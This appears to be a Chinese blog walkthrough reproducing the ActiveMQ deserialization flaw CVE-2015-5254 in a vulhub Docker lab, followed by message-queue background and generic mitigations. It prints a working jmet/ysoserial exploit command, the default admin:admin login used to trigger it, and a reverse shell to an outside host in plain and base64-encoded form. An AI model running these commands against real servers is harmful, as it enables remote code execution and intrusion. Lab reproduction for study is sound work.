ActiveMQ 反序列化漏洞(CVE-2015-5254)

1,启动

cd /vulhub/activemq/CVE-2015-5254
docker-compose up -d

2,原理背景

Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。

Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。

3,存在2个端口,一个为web访问,一个是正常发送消息的端口

4,利用该漏洞上传payload需要人为触发才能执行,大概意思是需要执行该漏洞上传的payload才行

第一种选择是该组件存在弱口令密码,可以使攻击者直接进入管理后台执行,执行payload的时间由攻击者掌握;

第二种选择就是该组件的管理员在进行后台管理时触发了payload,但这样执行payload的时间由管理员掌握

5,复现过程:

构造可执行命令的java序列化对象(ysoserial集合了各种java反序列化payload,而jmet集成了ysoserial) ysoserial是一款java反序列化利用工具。

将序列化对象作为一个消息,发送给目标61616工作端口

访问web管理页面,读取消息,触发漏洞(ActiveMQ Web管理页面默认账号密码是admin:admin)

6,下载jmet的jar包

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 172.18.0.1 61616
-Q指定队列消息名,-I选择要装载的JMS客户端,这里是ActiveMQ,-s是选择ysoserial payload,-Y指定具体的命令(可替换为反弹shell命令),-Yp指定payload类型,其后分别是ActiveMQ所在机器的ip及工作端口
这条命令是使用ROME payload类型把 执行 touch /tmp/success 命令序列化后作为名为event的消息发送给ActiveMQ
同目录下创建一个external文件夹,防止后续操作报文件夹不存在的错误

tip:由于Java版本问题,main线程出错,加装Java8(Kali安装JAVA8和切换JDK版本的详细过程_huayimu的博客-CSDN博客

7.访问172.18.0.1:8161 ,activemq默认admin:admin登入

点击查看该条消息,即可触发命令执行 ,创建success

进入容器

证明命令执行成功。

8. 同理讲上面的远程命令那部分替换为反弹shell的命令即可

反弹shell在线生成: https://www.revshells.com/(自带base64编码)

sh -i >& /dev/tcp/192.168.10.139/4444 0>&1

c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMC4xMzkvNDQ0NCAwPiYx

playload:

bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMC4xMzkvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}

9.关闭

docker-compose down

扩充知识:

MQ(Message Queue):消息队列/消息中间件。消息服务将消息放在队列/主题中,在

合适时候发给接收者。发送和接收是异步的(发送者和接收者的生命周期没有必然关系)。

队列:消息存在队列中,发送和接收都是异步的

主题:在发布pub/订阅sub模式下,发送消息给固定接收者(订阅过主题的),一对多的通信方式

MQ解决的问题:

解耦:新模块接入时,代码改动最小

消峰:设置流量缓冲池,让后端系统按照自身吞吐能力消费,不被冲垮

异步:强弱依赖梳理能将非关键调用链路的操作异步化,并提升整体系统的吞吐能力

产品种类:Kafka, RabbitMQ, RocketMQ, ActiveMQ

影响版本:Apache ActiveMQ version 5.13.0以前的5.x版本。

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
ActiveMQ 反序列化漏洞是指在使用 ActiveMQ 进行消息传递时,由于未正确验证和过滤用户提交的数据,恶意攻击者可以利用该漏洞在目标系统上执行任意代码。这种漏洞通常是由于未正确配置 ActiveMQ 的序列化和反序列化机制造成的。 攻击者可以构造恶意序列化对象,然后将其发送给 ActiveMQ 服务器。当服务器接收到恶意序列化对象并进行反序列化时,恶意代码就会被执行,从而导致系统受到攻击。 为了防止 ActiveMQ 反序列化漏洞的利用,可以采取以下措施: 1. 更新和升级:及时更新 ActiveMQ 版本,以获取最新的安全修复和漏洞修复。 2. 配置安全策略:通过配置 ActiveMQ 的安全策略来限制用户对序列化和反序列化的访问权限,只允许信任的类进行反序列化操作。 3. 输入验证和过滤:在接收到消息之前,对用户提交的数据进行严格的输入验证和过滤,确保只接受合法和可信的数据。 4. 序列化过滤:实施白名单机制,只允许特定的类进行反序列化操作,阻止未知类的反序列化。 5. 安全意识培训:加强对开发人员和系统管理员的安全意识培训,提高他们对反序列化漏洞的认识,以及如何正确地使用 ActiveMQ。 请注意,这些建议只是一些通用的防御措施,具体的安全配置和防护措施需要根据实际情况进行调整和实施。建议在使用 ActiveMQ 或其他中间件时,密切关注厂商的安全公告和最佳实践。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值